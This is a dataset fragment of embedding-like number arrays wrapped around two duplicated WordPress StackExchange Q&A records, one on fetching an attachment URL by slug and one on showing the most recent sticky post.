0.0186767578125,
0.0083465576171875,
0.01377105712890625,
-0.0256500244140625,
0.01328277587890625,
-0.0002410411834716797,
0.02471923828125,
-0.0230712890625,
-0.0147552490234375,
0.0200042724609375,
0.0010786056518554688,
-0.0285491943359375,
-0.0273895263671875,
-0.0312042236328125,
0.0133056640625,
0.033782958984375,
-0.0030364990234375,
-0.0191650390625,
0.00426483154296875,
0.038543701171875,
0.0083770751953125,
0.0189666748046875,
-0.034637451171875,
-0.01419830322265625,
-0.056793212890625,
0.0284271240234375,
0.023284912109375,
0.04266357421875,
0.0197906494140625,
0.0447998046875,
0.05267333984375,
-0.0198211669921875,
-0.01184844970703125,
0.01261138916015625,
-0.00914764404296875,
-0.0040740966796875,
-0.0012807846069335938,
-0.010467529296875,
-0.00007271766662597656,
0.01158905029296875,
0.0177459716796875,
-0.0258026123046875,
0.03240966796875,
0.041473388671875,
-0.039398193359375,
-0.0220184326171875,
0.0263824462890625,
-0.013092041015625,
-0.01364898681640625,
-0.00937652587890625,
0.040191650390625,
0.036102294921875,
0.0180511474609375,
-0.0247039794921875,
0.0767822265625,
0.01090240478515625,
0.0022983551025390625,
0.00971221923828125,
0.00991058349609375,
-0.061981201171875,
0.01739501953125,
0.018829345703125,
0.11932373046875,
0.035491943359375,
-0.069580078125,
-0.00922393798828125,
-0.02984619140625,
-0.06634521484375,
0.043853759765625,
0.04827880859375,
-0.0233306884765625,
0.01226806640625,
-0.0128173828125,
0.0026874542236328125,
0.0102081298828125,
-0.0132598876953125,
-0.0008969306945800781,
0.00533294677734375,
0.0236358642578125,
-0.01422882080078125,
-0.041290283203125,
-0.027496337890625,
-0.014617919921875,
0.0321044921875,
0.03277587890625,
0.01275634765625,
0.00714111328125,
0.046142578125,
0.0163421630859375,
0.00365447998046875,
0.0188446044921875,
-0.001373291015625,
0.031280517578125,
0.00655364990234375,
0.00873565673828125,
-0.033905029296875,
-0.029541015625,
0.00011563301086425781,
0.041778564453125,
-0.020050048828125,
-0.01218414306640625,
-0.007450103759765625,
0.01593017578125,
-0.0178375244140625,
0.006969451904296875,
-0.04449462890625,
-0.0294952392578125,
-0.05792236328125,
-0.0225677490234375,
0.036590576171875,
0.004627227783203125,
-0.0176544189453125,
0.03009033203125,
-0.0141754150390625,
-0.007965087890625,
0.0202484130859375,
-0.0272369384765625,
-0.003856658935546875,
0.0186309814453125,
-0.00522613525390625,
-0.01479339599609375,
0.03173828125,
-0.0127716064453125,
-0.0185089111328125,
0.037994384765625,
0.00884246826171875,
0.02069091796875,
-0.005096435546875,
-0.01305389404296875,
-0.0185546875,
-0.01464080810546875,
-0.0203399658203125,
-0.005645751953125,
0.016204833984375,
-0.0007205009460449219,
-0.0439453125,
0.006778717041015625,
-0.00627899169921875,
0.0201263427734375,
-0.01010894775390625,
0.00018775463104248047,
0.033660888671875,
-0.027496337890625,
-0.0001659393310546875,
0.001323699951171875,
0.0382080078125,
-0.010650634765625,
-0.017791748046875,
-0.00628662109375,
-0.0445556640625,
0.040191650390625,
0.003536224365234375,
-0.019866943359375,
0.029937744140625,
0.07293701171875,
-0.08013916015625,
-0.036834716796875,
-0.0193328857421875,
-0.041534423828125,
-0.0794677734375,
-0.00632476806640625,
0.010284423828125,
0.0164642333984375,
-0.01593017578125,
0.01457977294921875,
-0.01126861572265625,
0.05889892578125,
-0.04278564453125,
-0.0128173828125,
0.014404296875,
-0.019439697265625,
-0.0199432373046875,
-0.06414794921875,
0.037353515625,
-0.0955810546875,
-0.0259857177734375,
0.0007152557373046875,
-0.021453857421875,
-0.004878997802734375,
-0.06134033203125,
-0.10577392578125,
0.043670654296875,
-0.0111236572265625,
-0.03448486328125,
0.0183258056640625,
0.031951904296875,
0.0201568603515625,
-0.0665283203125,
-0.0162353515625,
0.01129913330078125,
-0.00905609130859375,
-0.0303802490234375,
0.039703369140625,
0.050018310546875,
0.001117706298828125,
0.0340576171875,
-0.0214691162109375,
0.039703369140625,
0.0274200439453125,
0.0286865234375,
0.01512908935546875,
-0.0009212493896484375,
0.0027008056640625,
0.00677490234375,
-0.045745849609375,
-0.0582275390625,
-0.0225830078125,
-0.01219940185546875,
-0.0081939697265625,
-0.041534423828125,
-0.005229949951171875,
-0.01244354248046875,
0.043060302734375,
0.019561767578125,
0.00969696044921875,
-0.030303955078125,
0.021575927734375,
-0.01345062255859375,
-0.07049560546875,
-0.0241851806640625,
0.040557861328125,
-0.07769775390625,
-0.01274871826171875,
0.0207977294921875,
-0.01284027099609375,
0.0188751220703125,
0.03253173828125,
-0.0024852752685546875,
-0.004695892333984375,
0.0277099609375,
-0.031494140625,
-0.0240478515625,
0.004352569580078125,
0.0389404296875,
-0.00945281982421875,
0.0443115234375,
0.0132293701171875,
0.002422332763671875,
0.0416259765625,
0.04913330078125,
0.0218658447265625,
-0.015899658203125,
0.004451751708984375,
0.02703857421875,
0.0213775634765625,
0.005840301513671875,
-0.001178741455078125,
-0.041900634765625,
-0.0306243896484375,
0.0259246826171875,
0.01560211181640625,
0.0552978515625,
-0.014007568359375,
-0.00614166259765625,
0.039031982421875,
-0.0545654296875,
-0.0240478515625,
-0.0063629150390625,
-0.01544952392578125,
0.0061492919921875,
-0.04510498046875,
0.026580810546875,
0.0003190040588378906,
-0.03521728515625,
0.01593017578125,
0.002277374267578125,
0.0157318115234375,
-0.01061248779296875,
0.01641845703125,
-0.01812744140625,
-0.00605010986328125,
0.00865936279296875
] |
01888c06d293e4d75023fcbdb5680b612e6df773
|
Wordpress Stackexchange
Q: Get attachment by slug I would like to get an image by specifying a certain slug and then echoing that address in the image src code.
The slug for the image would be "book-site-header"
I've looked through the get_wp_attachment and get_wp_attachment_metadata in the wordpress codex but neither makes mention of the slug. Slugs have to be unique and are saved in the DB so it must be possible to find it based on the slug and then get the related file url.
A: An attachment is just a post with the post_status = inherit and the post_type = attachment, so can be queried with WP_Query or get_posts.
Note that slug (post_name) is unique per post type.
$_header = get_posts('post_type=attachment&name=book-site-header&posts_per_page=1&post_status=inherit');
$header = $_header ? array_pop($_header) : null;
$header_url = $header ? wp_get_attachment_url($header->ID) : '';
you can also use the code above to built your own custom fucntion
function get_attachment_url_by_slug( $slug ) {
$args = array(
'post_type' => 'attachment',
'name' => sanitize_title($slug),
'posts_per_page' => 1,
'post_status' => 'inherit',
);
$_header = get_posts( $args );
$header = $_header ? array_pop($_header) : null;
return $header ? wp_get_attachment_url($header->ID) : '';
}
and then
$header_url = get_attachment_url_by_slug('book-site-header');
|
Q: Get attachment by slug I would like to get an image by specifying a certain slug and then echoing that address in the image src code.
The slug for the image would be "book-site-header"
I've looked through the get_wp_attachment and get_wp_attachment_metadata in the wordpress codex but neither makes mention of the slug. Slugs have to be unique and are saved in the DB so it must be possible to find it based on the slug and then get the related file url.
A: An attachment is just a post with the post_status = inherit and the post_type = attachment, so can be queried with WP_Query or get_posts.
Note that slug (post_name) is unique per post type.
$_header = get_posts('post_type=attachment&name=book-site-header&posts_per_page=1&post_status=inherit');
$header = $_header ? array_pop($_header) : null;
$header_url = $header ? wp_get_attachment_url($header->ID) : '';
you can also use the code above to built your own custom fucntion
function get_attachment_url_by_slug( $slug ) {
$args = array(
'post_type' => 'attachment',
'name' => sanitize_title($slug),
'posts_per_page' => 1,
'post_status' => 'inherit',
);
$_header = get_posts( $args );
$header = $_header ? array_pop($_header) : null;
return $header ? wp_get_attachment_url($header->ID) : '';
}
and then
$header_url = get_attachment_url_by_slug('book-site-header');
|
wordpress
|
{
"language": "en",
"length": 192,
"provenance": "stackexchange_00019.jsonl.gz:437468",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115326"
}
|
[
0.067138671875,
0.00542449951171875,
0.0032520294189453125,
-0.051544189453125,
0.0087127685546875,
-0.017608642578125,
0.0095367431640625,
-0.0283050537109375,
-0.018310546875,
0.044830322265625,
-0.0207977294921875,
0.025115966796875,
-0.0019369125366210938,
-0.0184326171875,
-0.0028018951416015625,
-0.00925445556640625,
0.042877197265625,
-0.01078033447265625,
0.062103271484375,
0.018798828125,
0.0010576248168945312,
0.043670654296875,
0.03594970703125,
0.007808685302734375,
0.0290679931640625,
-0.0258941650390625,
0.054656982421875,
-0.02972412109375,
0.007221221923828125,
-0.025177001953125,
0.016021728515625,
0.005466461181640625,
0.01611328125,
0.0015735626220703125,
0.00933074951171875,
0.0292510986328125,
0.007152557373046875,
0.00775909423828125,
0.01207733154296875,
0.014312744140625,
0.012451171875,
0.00452423095703125,
-0.0171661376953125,
0.03631591796875,
-0.0272216796875,
-0.027496337890625,
-0.00786590576171875,
-0.04376220703125,
0.016815185546875,
0.0289306640625,
0.00815582275390625,
0.014068603515625,
0.006122589111328125,
0.003200531005859375,
-0.0109710693359375,
0.005245208740234375,
0.00015544891357421875,
0.01171112060546875,
0.020050048828125,
-0.056793212890625,
-0.04638671875,
0.0010738372802734375,
0.04150390625,
0.0198822021484375,
0.001415252685546875,
0.0029811859130859375,
-0.0034332275390625,
0.02178955078125,
-0.025543212890625,
0.01190948486328125,
0.0283203125,
-0.035064697265625,
-0.01180267333984375,
-0.0286407470703125,
-0.00435638427734375,
-0.01873779296875,
-0.004238128662109375,
-0.041595458984375,
0.0048980712890625,
0.010406494140625,
0.03668212890625,
-0.031005859375,
-0.0521240234375,
0.03936767578125,
0.0133209228515625,
0.058441162109375,
0.01438140869140625,
-0.047210693359375,
-0.004444122314453125,
-0.012054443359375,
-0.0246734619140625,
0.0007076263427734375,
0.034454345703125,
-0.003986358642578125,
-0.041839599609375,
-0.0220947265625,
0.0188140869140625,
-0.007236480712890625,
-0.006061553955078125,
0.02606201171875,
0.005535125732421875,
-0.04046630859375,
0.055938720703125,
-0.0250396728515625,
-0.0044097900390625,
0.00766754150390625,
0.0033664703369140625,
-0.02020263671875,
0.026641845703125,
0.01187896728515625,
-0.0169219970703125,
0.03155517578125,
0.005115509033203125,
-0.0016307830810546875,
-0.0158538818359375,
0.03326416015625,
-0.032928466796875,
0.013458251953125,
-0.007396697998046875,
0.0198516845703125,
-0.0113067626953125,
0.0245208740234375,
0.02294921875,
-0.0259857177734375,
-0.00897979736328125,
0.0006875991821289062,
0.01016998291015625,
-0.067626953125,
0.060455322265625,
-0.0158233642578125,
-0.028167724609375,
0.0163726806640625,
0.0107421875,
-0.01409912109375,
-0.006191253662109375,
0.012237548828125,
-0.01947021484375,
-0.0170440673828125,
-0.0021209716796875,
0.00812530517578125,
0.0174407958984375,
-0.005489349365234375,
0.01526641845703125,
0.0159454345703125,
0.0018215179443359375,
-0.0157928466796875,
-0.010955810546875,
0.03179931640625,
0.019805908203125,
-0.0110626220703125,
0.0034027099609375,
-0.0230255126953125,
0.030242919921875,
0.0118560791015625,
-0.060882568359375,
-0.01812744140625,
-0.036651611328125,
-0.00292205810546875,
0.00494384765625,
-0.0352783203125,
0.01406097412109375,
-0.01216888427734375,
0.011810302734375,
-0.0234375,
-0.0188751220703125,
0.0169525146484375,
-0.03021240234375,
-0.01084136962890625,
0.01271820068359375,
0.0128021240234375,
0.00007259845733642578,
-0.006343841552734375,
-0.0233154296875,
0.00592041015625,
-0.0002834796905517578,
0.006622314453125,
-0.00905609130859375,
0.0139007568359375,
0.01824951171875,
0.048980712890625,
0.0184783935546875,
-0.02105712890625,
0.036590576171875,
0.005035400390625,
-0.059051513671875,
0.0472412109375,
0.00684356689453125,
0.0535888671875,
0.01416778564453125,
0.01299285888671875,
0.045806884765625,
0.01094818115234375,
-0.05999755859375,
0.0199432373046875,
-0.050506591796875,
-0.00844573974609375,
0.0230255126953125,
0.0286865234375,
-0.0238800048828125,
0.013580322265625,
-0.0243682861328125,
0.00513458251953125,
0.00739288330078125,
0.0285186767578125,
0.0137939453125,
-0.0005202293395996094,
-0.0000762939453125,
0.0255889892578125,
-0.01412200927734375,
0.053619384765625,
0.026641845703125,
0.01378631591796875,
-0.0455322265625,
0.0098419189453125,
0.01268768310546875,
-0.00984954833984375,
0.0085296630859375,
-0.0164642333984375,
-0.034423828125,
0.0307769775390625,
-0.06231689453125,
-0.0175628662109375,
-0.0771484375,
0.00788116455078125,
0.056365966796875,
0.005290985107421875,
-0.01105499267578125,
-0.02008056640625,
0.04608154296875,
0.0135040283203125,
-0.04388427734375,
0.0110931396484375,
-0.00847625732421875,
0.00623321533203125,
-0.0229644775390625,
0.0134735107421875,
0.0135650634765625,
-0.01453399658203125,
-0.004047393798828125,
0.021026611328125,
0.03570556640625,
0.016815185546875,
0.0014476776123046875,
-0.017425537109375,
0.072265625,
-0.006183624267578125,
0.0158538818359375,
-0.024200439453125,
0.00467681884765625,
0.0165863037109375,
0.0162811279296875,
0.0168609619140625,
0.022674560546875,
0.0016012191772460938,
0.0135650634765625,
0.03863525390625,
-0.0277557373046875,
-0.032257080078125,
-0.01739501953125,
0.04168701171875,
0.0024547576904296875,
0.03277587890625,
0.02252197265625,
0.0017423629760742188,
0.0028438568115234375,
0.0247344970703125,
0.006549835205078125,
0.00736236572265625,
-0.050689697265625,
0.005817413330078125,
0.0282440185546875,
0.00982666015625,
-0.0015087127685546875,
0.057830810546875,
0.031585693359375,
-0.0023517608642578125,
0.0013141632080078125,
-0.0302276611328125,
-0.00533294677734375,
0.029998779296875,
-0.0218505859375,
0.016632080078125,
0.0265045166015625,
0.0032978057861328125,
-0.02471923828125,
-0.0408935546875,
0.038970947265625,
0.0269927978515625,
-0.017822265625,
0.01168060302734375,
0.01953125,
0.0457763671875,
0.0034332275390625,
0.0226287841796875,
0.0038623809814453125,
0.01340484619140625,
0.02227783203125,
-0.046234130859375,
0.059417724609375,
-0.0271148681640625,
0.059326171875,
0.06427001953125,
-0.031158447265625,
0.055389404296875,
-0.0169219970703125,
-0.058502197265625,
-0.039947509765625,
0.0021915435791015625,
-0.02484130859375,
-0.06695556640625,
-0.01849365234375,
0.048065185546875,
-0.007110595703125,
0.0280914306640625,
-0.0465087890625,
-0.059814453125,
-0.028076171875,
-0.0145416259765625,
-0.121826171875,
-0.0806884765625,
0.016845703125,
-0.0826416015625,
0.00353240966796875,
-0.00594329833984375,
-0.048736572265625,
-0.01424407958984375,
0.03607177734375,
-0.00616455078125,
0.007534027099609375,
-0.019775390625,
-0.05279541015625,
-0.012664794921875,
-0.06817626953125,
0.003231048583984375,
0.0027751922607421875,
0.0223388671875,
-0.0013151168823242188,
-0.0014209747314453125,
-0.004024505615234375,
-0.0012359619140625,
0.0182647705078125,
0.048553466796875,
0.01007843017578125,
-0.0251922607421875,
-0.0172882080078125,
-0.00493621826171875,
-0.0251922607421875,
-0.00670623779296875,
0.023651123046875,
0.01277923583984375,
-0.0037250518798828125,
0.0192718505859375,
-0.0140380859375,
-0.0191650390625,
-0.01076507568359375,
0.041534423828125,
0.0207366943359375,
-0.030670166015625,
0.0128631591796875,
-0.054718017578125,
-0.0272369384765625,
-0.048187255859375,
-0.06494140625,
0.0457763671875,
0.0443115234375,
0.0281219482421875,
0.003101348876953125,
0.0028514862060546875,
0.0091705322265625,
0.0165557861328125,
0.0115203857421875,
-0.022430419921875,
0.0513916015625,
-0.0135650634765625,
0.006458282470703125,
-0.0206451416015625,
0.033966064453125,
0.01303863525390625,
0.01538848876953125,
0.032989501953125,
0.030975341796875,
-0.007709503173828125,
0.0204010009765625,
-0.04595947265625,
-0.07489013671875,
0.060333251953125,
0.0018434524536132812,
0.01039886474609375,
-0.03350830078125,
-0.047149658203125,
-0.01168060302734375,
0.08795166015625,
0.0158538818359375,
-0.035125732421875,
-0.0309295654296875,
0.0033016204833984375,
-0.0175323486328125,
-0.0150146484375,
0.01277923583984375,
0.00936126708984375,
-0.05615234375,
0.0015172958374023438,
0.01334381103515625,
-0.04052734375,
-0.0111083984375,
0.0201263427734375,
-0.027374267578125,
-0.016143798828125,
0.014434814453125,
0.0164031982421875,
-0.004306793212890625,
0.065185546875,
-0.033538818359375,
0.0704345703125,
-0.050933837890625,
-0.004638671875,
-0.053131103515625,
-0.0288848876953125,
0.047882080078125,
0.03607177734375,
-0.01922607421875,
-0.0186767578125,
-0.020416259765625,
0.0357666015625,
0.02862548828125,
0.041900634765625,
-0.005870819091796875,
-0.0209503173828125,
0.0052337646484375,
-0.018524169921875,
0.004314422607421875,
-0.019989013671875,
0.00438690185546875,
-0.027679443359375,
-0.0736083984375,
-0.04437255859375,
-0.0142364501953125,
0.0304412841796875,
0.0242767333984375,
-0.035003662109375,
-0.034271240234375,
-0.004230499267578125,
0.040557861328125,
0.0309906005859375,
-0.0029811859130859375,
0.0265960693359375,
-0.0160064697265625,
-0.0189056396484375,
0.0556640625,
0.01611328125,
-0.0182037353515625,
-0.013397216796875,
0.0654296875,
0.01392364501953125,
-0.0244903564453125,
-0.00597381591796875,
0.00021767616271972656,
0.04193115234375,
-0.019439697265625,
0.03973388671875,
0.037445068359375,
-0.021392822265625,
0.044403076171875,
0.00875091552734375,
0.0028591156005859375,
-0.0188751220703125,
0.0018358230590820312,
-0.017547607421875,
-0.01666259765625,
0.0154266357421875,
-0.018341064453125,
0.058563232421875,
0.0633544921875,
0.0024261474609375,
-0.01345062255859375,
-0.0421142578125,
0.0238800048828125,
-0.005970001220703125,
0.0109405517578125,
-0.02081298828125,
-0.044891357421875,
-0.002635955810546875,
0.004596710205078125,
0.0306243896484375,
0.0278167724609375,
-0.0082550048828125,
0.028076171875,
0.0281982421875,
0.0012359619140625,
-0.029632568359375,
-0.0086822509765625,
-0.0261993408203125,
0.0399169921875,
-0.0396728515625,
-0.0105438232421875,
0.0018949508666992188,
-0.0032806396484375,
0.0185089111328125,
0.006679534912109375,
-0.00252532958984375,
-0.04229736328125,
-0.006938934326171875,
0.005214691162109375,
-0.013702392578125,
-0.00980377197265625,
0.039764404296875,
0.02215576171875,
-0.0335693359375,
-0.02496337890625,
-0.077880859375,
0.0243377685546875,
-0.0738525390625,
0.0154571533203125,
0.01123809814453125,
-0.0020236968994140625,
0.0132293701171875,
0.056640625,
-0.01025390625,
0.0218048095703125,
-0.01004791259765625,
-0.01488494873046875,
0.018707275390625,
-0.00884246826171875,
0.021484375,
0.00875091552734375,
-0.01068115234375,
-0.0177001953125,
0.04205322265625,
-0.07696533203125,
0.019622802734375,
0.0362548828125,
0.088623046875,
-0.0308990478515625,
-0.07012939453125,
0.02020263671875,
-0.0653076171875,
-0.029388427734375,
0.038360595703125,
-0.0062713623046875,
-0.036376953125,
-0.0228729248046875,
0.0341796875,
0.0335693359375,
0.005756378173828125,
-0.0533447265625,
0.03167724609375,
-0.017547607421875,
0.04364013671875,
0.0160980224609375,
-0.033782958984375,
0.0430908203125,
0.046417236328125,
0.01507568359375,
-0.0352783203125,
-0.053985595703125,
0.037322998046875,
0.03948974609375,
-0.017578125,
-0.021759033203125,
0.05029296875,
-0.0101776123046875,
0.04034423828125,
-0.048980712890625,
-0.007488250732421875,
-0.02996826171875,
-0.00830078125,
0.060150146484375,
0.031707763671875,
-0.0220489501953125,
0.011932373046875,
-0.0263824462890625,
0.006435394287109375,
0.050079345703125,
-0.041046142578125,
-0.019744873046875,
-0.057525634765625,
0.004199981689453125,
0.048675537109375,
-0.0009717941284179688,
0.0201263427734375,
0.017333984375,
-0.0084228515625,
-0.0302734375,
0.080078125,
-0.00609588623046875,
0.0408935546875,
0.00458526611328125,
0.01055908203125,
0.01323699951171875,
0.0095367431640625,
-0.022430419921875,
-0.0062255859375,
-0.0291748046875,
-0.048797607421875,
0.0222930908203125,
0.0310821533203125,
0.0199432373046875,
0.005039215087890625,
0.001873016357421875,
0.0233306884765625,
-0.00244903564453125,
-0.0108795166015625,
-0.003475189208984375,
-0.01526641845703125,
0.0235443115234375,
-0.01593017578125,
-0.0237884521484375,
0.0239105224609375,
-0.02691650390625,
0.000682830810546875,
-0.02728271484375,
0.0017194747924804688,
0.0309295654296875,
-0.043243408203125,
0.015533447265625,
0.044586181640625,
-0.022857666015625,
0.032318115234375,
0.10015869140625,
0.0272674560546875,
0.052642822265625,
0.042083740234375,
0.01418304443359375,
0.01284027099609375,
0.03131103515625,
0.03466796875,
-0.0197296142578125,
0.094482421875,
0.0207977294921875,
-0.006214141845703125,
0.06585693359375,
-0.037353515625,
0.006908416748046875,
-0.041290283203125,
0.033172607421875,
0.03289794921875,
0.0089263916015625,
0.01983642578125,
-0.0148773193359375,
0.024261474609375,
-0.007049560546875,
-0.0111541748046875,
-0.01824951171875,
0.05340576171875,
-0.04248046875,
-0.017333984375,
-0.0063323974609375,
-0.006740570068359375,
-0.00896453857421875,
-0.001094818115234375,
0.03240966796875,
0.0005159378051757812,
-0.039825439453125,
-0.046722412109375,
0.0384521484375,
-0.0447998046875,
-0.03350830078125,
0.0161285400390625,
-0.0120849609375,
0.0035037994384765625,
-0.0261993408203125,
0.0261688232421875,
-0.0179595947265625,
0.0307159423828125,
-0.0112762451171875,
0.0036907196044921875,
0.01500701904296875,
0.037750244140625,
-0.0012941360473632812,
-0.0182647705078125,
0.012298583984375,
-0.036285400390625,
0.0183258056640625,
-0.005565643310546875,
0.0009174346923828125,
0.062469482421875,
-0.04266357421875,
0.01000213623046875,
-0.021697998046875,
0.042510986328125,
-0.02740478515625,
-0.0254364013671875,
0.07574462890625,
-0.034515380859375,
-0.012237548828125,
0.03350830078125,
0.07171630859375,
-0.026519775390625,
0.0171051025390625,
0.051055908203125,
-0.04400634765625,
-0.020172119140625,
0.032684326171875,
-0.023193359375,
-0.040985107421875,
0.00457000732421875,
-0.084228515625,
0.07635498046875,
0.0196990966796875,
0.07763671875,
-0.0017194747924804688,
0.01104736328125,
0.0009598731994628906,
-0.010833740234375,
-0.049224853515625,
0.0390625,
0.00959014892578125,
0.033416748046875,
-0.059661865234375,
0.002185821533203125,
-0.0196533203125,
0.01495361328125,
0.0845947265625,
0.0133514404296875,
-0.0262603759765625,
-0.01438140869140625,
0.0782470703125,
0.024444580078125,
-0.0202484130859375,
0.051116943359375,
0.0127105712890625,
-0.0063323974609375,
0.045684814453125,
-0.021026611328125,
0.02874755859375,
-0.0372314453125,
0.0216217041015625,
0.0209808349609375,
0.0218048095703125,
0.0181427001953125,
0.018280029296875,
0.01629638671875,
-0.0728759765625,
0.01483917236328125,
0.0740966796875,
-0.027862548828125,
-0.01494598388671875,
0.048614501953125,
0.045257568359375,
-0.03216552734375,
-0.005054473876953125,
-0.021759033203125,
0.06427001953125,
0.01514434814453125,
0.0009613037109375,
-0.00266265869140625,
0.00952911376953125,
0.0117645263671875,
0.011993408203125,
-0.0101776123046875,
0.04010009765625,
-0.01033782958984375,
0.03314208984375,
0.03271484375,
0.0245819091796875,
-0.023712158203125,
0.006114959716796875,
0.09222412109375,
0.06121826171875,
-0.04034423828125,
-0.021240234375,
0.031646728515625,
0.0075225830078125,
-0.0142669677734375,
-0.0030078887939453125,
0.0033588409423828125,
-0.033905029296875,
0.003955841064453125,
-0.05181884765625,
0.0181732177734375,
0.042999267578125,
0.050689697265625,
-0.024688720703125,
-0.05389404296875,
-0.048065185546875,
0.007350921630859375,
-0.049957275390625,
0.03668212890625,
0.01763916015625,
0.032562255859375,
-0.00811004638671875,
0.04425048828125,
-0.01422882080078125,
-0.0099334716796875,
-0.0299072265625,
0.04302978515625,
-0.01399993896484375,
0.047393798828125,
-0.038482666015625,
-0.032440185546875,
0.00855255126953125,
0.037139892578125,
0.04315185546875,
-0.04144287109375,
0.0193939208984375,
-0.0242156982421875,
-0.06072998046875,
0.00716400146484375,
-0.0205078125,
-0.0322265625,
0.07012939453125,
-0.0479736328125,
0.04095458984375,
-0.0089569091796875,
-0.0299835205078125,
-0.0264892578125,
-0.043548583984375,
0.061737060546875,
-0.02294921875,
0.047607421875,
-0.005733489990234375,
0.0158233642578125,
0.0247802734375,
-0.00244140625,
0.0010461807250976562,
0.009796142578125,
-0.0848388671875,
-0.0087738037109375,
-0.0389404296875,
-0.0645751953125,
0.04034423828125,
0.05963134765625,
-0.0169219970703125,
0.003124237060546875,
-0.03564453125,
0.01110076904296875,
0.004474639892578125,
-0.03045654296875,
-0.00730133056640625,
0.007038116455078125,
0.007671356201171875,
-0.0016412734985351562,
-0.0214996337890625,
-0.0147247314453125,
0.00827789306640625,
0.029998779296875,
0.01140594482421875,
0.0257568359375,
0.011993408203125,
0.014129638671875,
-0.009918212890625,
0.017059326171875,
-0.019439697265625,
-0.0148162841796875,
0.019744873046875,
0.005313873291015625,
0.0022754669189453125,
-0.01308441162109375,
-0.0303955078125,
-0.00487518310546875,
0.031829833984375,
-0.0272674560546875,
-0.0120086669921875,
-0.00894927978515625,
0.030120849609375,
-0.006198883056640625,
0.004276275634765625,
-0.032440185546875,
-0.0279083251953125,
-0.0638427734375,
-0.04534912109375,
0.0416259765625,
0.046051025390625,
0.044464111328125,
0.0345458984375,
0.0004093647003173828,
0.0020008087158203125,
0.03558349609375,
-0.01800537109375,
0.051300048828125,
0.03643798828125,
-0.037384033203125,
-0.0179901123046875,
0.0236663818359375,
-0.01100921630859375,
0.00861358642578125,
0.01255035400390625,
0.0305633544921875,
-0.01070404052734375,
0.008331298828125,
-0.008209228515625,
-0.0184173583984375,
0.01410675048828125,
-0.0035400390625,
-0.0034961700439453125,
-0.03472900390625,
-0.00007873773574829102,
-0.01514434814453125,
-0.058135986328125,
-0.026824951171875,
-0.056182861328125,
-0.0015344619750976562,
0.0372314453125,
-0.0338134765625,
0.01398468017578125,
-0.026519775390625,
-0.032318115234375,
0.0184783935546875,
-0.0081634521484375,
0.0177001953125,
-0.034637451171875,
-0.00624847412109375,
-0.0038890838623046875,
-0.022735595703125,
0.00010913610458374023,
-0.023956298828125,
-0.015625,
-0.035400390625,
-0.0240325927734375,
-0.046356201171875,
0.035614013671875,
-0.036590576171875,
0.0287017822265625,
0.0687255859375,
-0.045196533203125,
-0.017822265625,
0.01184844970703125,
0.0413818359375,
0.0574951171875,
-0.040924072265625,
-0.032989501953125,
-0.01268768310546875,
0.0022983551025390625,
-0.007320404052734375,
-0.040374755859375,
0.00656890869140625,
-0.050872802734375,
0.002658843994140625,
-0.045074462890625,
0.006031036376953125,
-0.0026187896728515625,
-0.04766845703125,
-0.0230255126953125,
0.0088958740234375,
-0.00677490234375,
-0.024658203125,
-0.08087158203125,
0.0496826171875,
0.0312347412109375,
-0.029998779296875,
-0.0361328125,
0.0008511543273925781,
-0.02130126953125,
0.0164947509765625,
0.0107269287109375,
0.0028858184814453125,
0.0153045654296875,
0.0090179443359375,
-0.0183258056640625,
0.04608154296875,
0.037750244140625,
-0.0042877197265625,
0.01238250732421875,
-0.0308685302734375,
0.043365478515625,
0.03802490234375,
-0.027618408203125,
-0.01018524169921875,
0.00931549072265625,
-0.0223388671875,
-0.01873779296875,
-0.01349639892578125,
-0.0447998046875,
0.0335693359375,
0.07159423828125,
0.0972900390625,
0.033599853515625,
-0.0662841796875,
0.019622802734375,
0.00637054443359375,
-0.085205078125,
-0.0030975341796875,
0.053070068359375,
-0.059417724609375,
-0.00193023681640625,
0.0020751953125,
-0.00730133056640625,
-0.01377105712890625,
-0.0081939697265625,
-0.0253753662109375,
-0.0137481689453125,
-0.0192108154296875,
-0.0225982666015625,
0.00742340087890625,
-0.039337158203125,
0.048492431640625,
-0.0294036865234375,
0.00762939453125,
-0.01207733154296875,
0.036346435546875,
0.0193939208984375,
-0.017791748046875,
-0.01311492919921875,
0.031494140625,
-0.010284423828125,
-0.01403045654296875,
0.01824951171875,
0.0112457275390625,
0.01042938232421875,
0.01141357421875,
-0.0164947509765625,
0.006267547607421875,
0.0092010498046875,
-0.004947662353515625,
-0.01270294189453125,
0.034637451171875,
0.01287841796875,
0.03375244140625,
-0.01068878173828125,
-0.0075836181640625,
0.013031005859375,
0.00612640380859375,
0.00589752197265625,
-0.0021648406982421875,
0.052032470703125,
-0.0643310546875,
0.0006589889526367188,
-0.0265960693359375,
-0.0229339599609375,
-0.040191650390625,
0.0188446044921875,
-0.0269317626953125,
-0.0201416015625,
0.026947021484375
] |
a1bd6226ca84129fbb35c7dd6b30b4f79d04b519
|
Wordpress Stackexchange
Q: Display only the most recent sticky post, display other posts in chronological order I want to display only the most recent sticky post at the top of the TwentyEleven page, and display the rest of the posts in chronological order, no matter whether they are sticky or not.
I tried to find. solution here:
http://codex.wordpress.org/Sticky_Posts
But it doesn't seem to have what I need. Could someone please help to formulate the correct statement? Thank you!
A: That page has exactly what you need:
Display just the first sticky post, if none return nothing:
$sticky = get_option( 'sticky_posts' );
$args = array(
'posts_per_page' => 1,
'post__in' => $sticky,
'ignore_sticky_posts' => 1
);
query_posts( $args );
if ( $sticky[0] ) {
// insert here your stuff...
}
Source: http://codex.wordpress.org/Sticky_Posts
Then add your normal loop underneath this
|
Q: Display only the most recent sticky post, display other posts in chronological order I want to display only the most recent sticky post at the top of the TwentyEleven page, and display the rest of the posts in chronological order, no matter whether they are sticky or not.
I tried to find. solution here:
http://codex.wordpress.org/Sticky_Posts
But it doesn't seem to have what I need. Could someone please help to formulate the correct statement? Thank you!
A: That page has exactly what you need:
Display just the first sticky post, if none return nothing:
$sticky = get_option( 'sticky_posts' );
$args = array(
'posts_per_page' => 1,
'post__in' => $sticky,
'ignore_sticky_posts' => 1
);
query_posts( $args );
if ( $sticky[0] ) {
// insert here your stuff...
}
Source: http://codex.wordpress.org/Sticky_Posts
Then add your normal loop underneath this
|
wordpress
|
{
"language": "en",
"length": 135,
"provenance": "stackexchange_00019.jsonl.gz:437478",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115366"
}
|
[
0.08099365234375,
-0.0225067138671875,
0.01629638671875,
-0.040374755859375,
0.01904296875,
-0.038330078125,
0.0712890625,
-0.0303802490234375,
0.0102386474609375,
0.019683837890625,
-0.00283050537109375,
-0.047637939453125,
-0.0047454833984375,
